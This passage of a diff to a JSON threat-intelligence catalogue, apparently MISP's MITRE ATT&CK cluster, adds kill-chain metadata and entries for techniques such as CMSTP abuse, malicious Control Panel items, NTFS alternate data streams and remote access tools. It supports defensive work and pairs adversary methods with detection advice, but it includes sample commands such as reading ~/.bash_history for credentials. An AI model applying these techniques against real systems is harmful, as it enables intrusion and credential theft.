+ "external_id": "T1053",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution",
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process command-line parameters",
@@ -524,6 +734,11 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1154"
],
+ "external_id": "T1154",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution",
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process Monitoring",
@@ -547,6 +762,10 @@
"https://msdn.microsoft.com/en-us/library/aa394582.aspx",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
],
+ "external_id": "T1047",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution"
+ ],
"mitre_data_sources": [
"Authentication logs",
"Netflow/Enclave netflow",
@@ -560,17 +779,27 @@
"uuid": "01a5a209-b94c-450b-b7f9-946497d91055"
},
{
- "description": "Data or executables may be stored in New Technology File System (NTFS) partition metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA)\n\nThe NTFS format has a feature called Extended Attributes (EA), which allows data to be stored as an attribute of a file or folder. (Citation: Microsoft File Streams)\n\nDetection: Forensic techniques exist to identify information stored in EA. (Citation: Journey into IR ZeroAccess NTFS EA) It may be possible to monitor NTFS for writes or reads to NTFS EA or to regularly scan for the presence of modified information.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Kernel drivers\n\nDefense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis\n\nSystem Requirements: NTFS partitioned hard drive",
- "value": "NTFS Extended Attributes - T1096",
+ "description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternative Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)\n\nDetection: Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions, used to interact with EA, and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nMonitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014)\n\nPlatforms: Windows\n\nData Sources: File monitoring, Kernel drivers, API monitoring\n\nDefense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis\n\nSystem Requirements: NTFS partitioned hard drive\n\nContributors: Red Canary",
+ "value": "NTFS File Attributes - T1096",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Technique/T1096",
"http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html",
- "http://msdn.microsoft.com/en-us/library/aa364404"
+ "http://msdn.microsoft.com/en-us/library/aa364404",
+ "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea",
+ "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/",
+ "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/",
+ "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/",
+ "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"
+ ],
+ "external_id": "T1096",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
],
"mitre_data_sources": [
"File monitoring",
- "Kernel drivers"
+ "Kernel drivers",
+ "API monitoring"
],
"mitre_platforms": [
"Windows"
@@ -578,6 +807,34 @@
},
"uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d"
},
+ {
+ "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n\nRemote access tools may be established and used post-compromise as alternate communications channel for Redundant Access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)\n\nDetection: Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\nDomain Fronting may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Network intrusion detection system, Network protocol analysis, Process use of network, Process Monitoring\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Matt Kelly, @breakersall",
+ "value": "Remote Access Tools - T1219",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1219",
+ "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf",
+ "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf",
+ "https://blog.crysys.hu/2013/03/teamspy/"
+ ],
+ "external_id": "T1219",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
+ "mitre_data_sources": [
+ "Network intrusion detection system",
+ "Network protocol analysis",
+ "Process use of network",
+ "Process Monitoring"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7"
+ },
{
"description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\n\nDetection: Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User",
"value": "Bash History - T1139",
@@ -586,6 +843,10 @@
"https://attack.mitre.org/wiki/Technique/T1139",
"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
],
+ "external_id": "T1139",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
@@ -605,6 +866,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1057"
],
+ "external_id": "T1057",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_data_sources": [
"Process command-line parameters",
"Process monitoring"
@@ -632,6 +897,10 @@
"https://github.com/chipsec/chipsec",
"http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html"
],
+ "external_id": "T1019",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"API monitoring",
"BIOS",
@@ -652,6 +921,10 @@
"http://msdn.microsoft.com/en-us/library/aa376977",
"https://technet.microsoft.com/en-us/sysinternals/bb963902"
],
+ "external_id": "T1060",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"Windows Registry",
"File monitoring"
@@ -669,6 +942,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1035"
],
+ "external_id": "T1035",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution"
+ ],
"mitre_data_sources": [
"Windows Registry",
"Process command-line parameters",
@@ -688,6 +965,10 @@
"https://attack.mitre.org/wiki/Technique/T1065",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
],
+ "external_id": "T1065",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_data_sources": [
"Netflow/Enclave netflow",
"Process use of network",
@@ -701,6 +982,64 @@
},
"uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0"
},
+ {
+ "description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List)\n\nDetection: Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Anti-virus\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
+ "value": "CMSTP - T1191",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1191",
+ "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)",
+ "https://twitter.com/ItsReallyNick/status/958789644165894146",
+ "https://msitpros.com/?p=3960",
+ "https://twitter.com/NickTyrer/status/958450014111633408",
+ "https://github.com/api0cradle/UltimateAppLockerByPassList"
+ ],
+ "external_id": "T1191",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:execution"
+ ],
+ "mitre_data_sources": [
+ "Process Monitoring",
+ "Process command-line parameters"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ]
+ },
+ "uuid": "7d6f590f-544b-45b4-9a42-e0805f342af3"
+ },
+ {
+ "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via Spearphishing Attachment campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.\n\nDetection: Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before Rundll32 is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter Rundll32 command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n*Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace and HKEY_CLASSES_ROOT\\CLSID\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}). (Citation: Microsoft Implementing CPL)\n*Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Binary file metadata, DLL monitoring, Process command-line parameters, Process Monitoring, Windows Registry, Windows event logs\n\nDefense Bypassed: Application whitelisting, Process whitelisting\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: No",
+ "value": "Control Panel Items - T1196",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1196",
+ "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx",
+ "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
+ "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/",
+ "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+ ],
+ "external_id": "T1196",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:execution"
+ ],
+ "mitre_data_sources": [
+ "API monitoring",
+ "Binary file metadata",
+ "DLL monitoring",
+ "Process command-line parameters",
+ "Process Monitoring",
+ "Windows Registry",
+ "Windows event logs"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ]
+ },
+ "uuid": "8df54627-376c-487c-a09c-7d2b5620f56e"
+ },
{
"description": "Windows Distributed Component Object Model (DCOM) is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology. COM is a component of the Windows application programming interface (API) that enables interaction between software objects. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM) ACL (Citation: Microsoft Process Wide Com Keys) (Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods. (Citation: Enigma MMC20 COM Jan 2017) (Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.\n\nDetection: Monitor for COM objects loading DLLs and other modules not typically associated with the application. (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for influx of Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, DLL monitoring, Packet capture, Process monitoring, Windows Registry, Windows event logs\n\nPermissions Required: Administrator, SYSTEM",
"value": "Distributed Component Object Model - T1175",
@@ -716,6 +1055,10 @@
"https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/",
"https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
],
+ "external_id": "T1175",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:lateral-movement"
+ ],
"mitre_data_sources": [
"API monitoring",
"Authentication logs",
@@ -731,6 +1074,30 @@
},
"uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7"
},
+ {
+ "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for Security Software Discovery. The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.\n\nDetection: Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution or evidence of Discovery.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Windows Error Reporting, Process Monitoring, File monitoring\n\nDefense Bypassed: Anti-virus, System access controls\n\nPermissions Required: User\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
+ "value": "Exploitation for Defense Evasion - T1211",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1211"
+ ],
+ "external_id": "T1211",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
+ "mitre_data_sources": [
+ "Windows Error Reporting",
+ "Process Monitoring",
+ "File monitoring"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "fe926152-f431-4baf-956c-4ad3cb0bf23b"
+ },
{
"description": "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.\n\nDetection: The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator",
"value": "Startup Items - T1165",
@@ -740,6 +1107,11 @@
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
],
+ "external_id": "T1165",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process Monitoring"
@@ -751,14 +1123,19 @@
"uuid": "2ba5aa71-9d15-4b22-b726-56af06d9ad2f"
},
{
- "description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication (Citation: cobaltstrike manual).\n\nDetection: This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Packet capture, Process Monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Justin Warner, ICEBRG",
+ "description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)\n\nDetection: This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Packet capture, Process Monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Justin Warner, ICEBRG",
"value": "Man in the Browser - T1185",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Technique/T1185",
"https://en.wikipedia.org/wiki/Man-in-the-browser",
"https://www.cobaltstrike.com/help-browser-pivoting",
- "https://cobaltstrike.com/downloads/csmanual38.pdf"
+ "https://cobaltstrike.com/downloads/csmanual38.pdf",
+ "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
+ ],
+ "external_id": "T1185",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:collection"
],
"mitre_data_sources": [
"Authentication logs",
@@ -772,6 +1149,32 @@
},
"uuid": "544b0346-29ad-41e1-a808-501bb4193f47"
},
+ {
+ "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Authentication logs, Windows Error Reporting, Process Monitoring\n\nPermissions Required: User\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
+ "value": "Exploitation for Credential Access - T1212",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1212",
+ "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx",
+ "https://adsecurity.org/?p=1515"
+ ],
+ "external_id": "T1212",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
+ "mitre_data_sources": [
+ "Authentication logs",
+ "Windows Error Reporting",
+ "Process Monitoring"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36"
+ },
{
"description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).\n\nDetection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\n\nPlatforms: macOS\n\nData Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring\n\nPermissions Required: User",
"value": "LC_LOAD_DYLIB Addition - T1161",
@@ -781,6 +1184,10 @@
"https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
"https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf"
],
+ "external_id": "T1161",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"Binary file metadata",
"Process Monitoring",
@@ -804,6 +1211,11 @@
"https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx",
"https://technet.microsoft.com/en-us/sysinternals/bb963902"
],
+ "external_id": "T1177",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution",
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"API monitoring",
"DLL monitoring",
@@ -825,6 +1237,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1074"
],
+ "external_id": "T1074",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:collection"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
@@ -838,14 +1254,43 @@
},
"uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e"
},
+ {
+ "description": "Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\n\nDetection: Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: SSL/TLS inspection, Anti-virus, Web proxy",
+ "value": "Spearphishing via Service - T1194",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1194"
+ ],
+ "external_id": "T1194",
+ "kill_chain": [
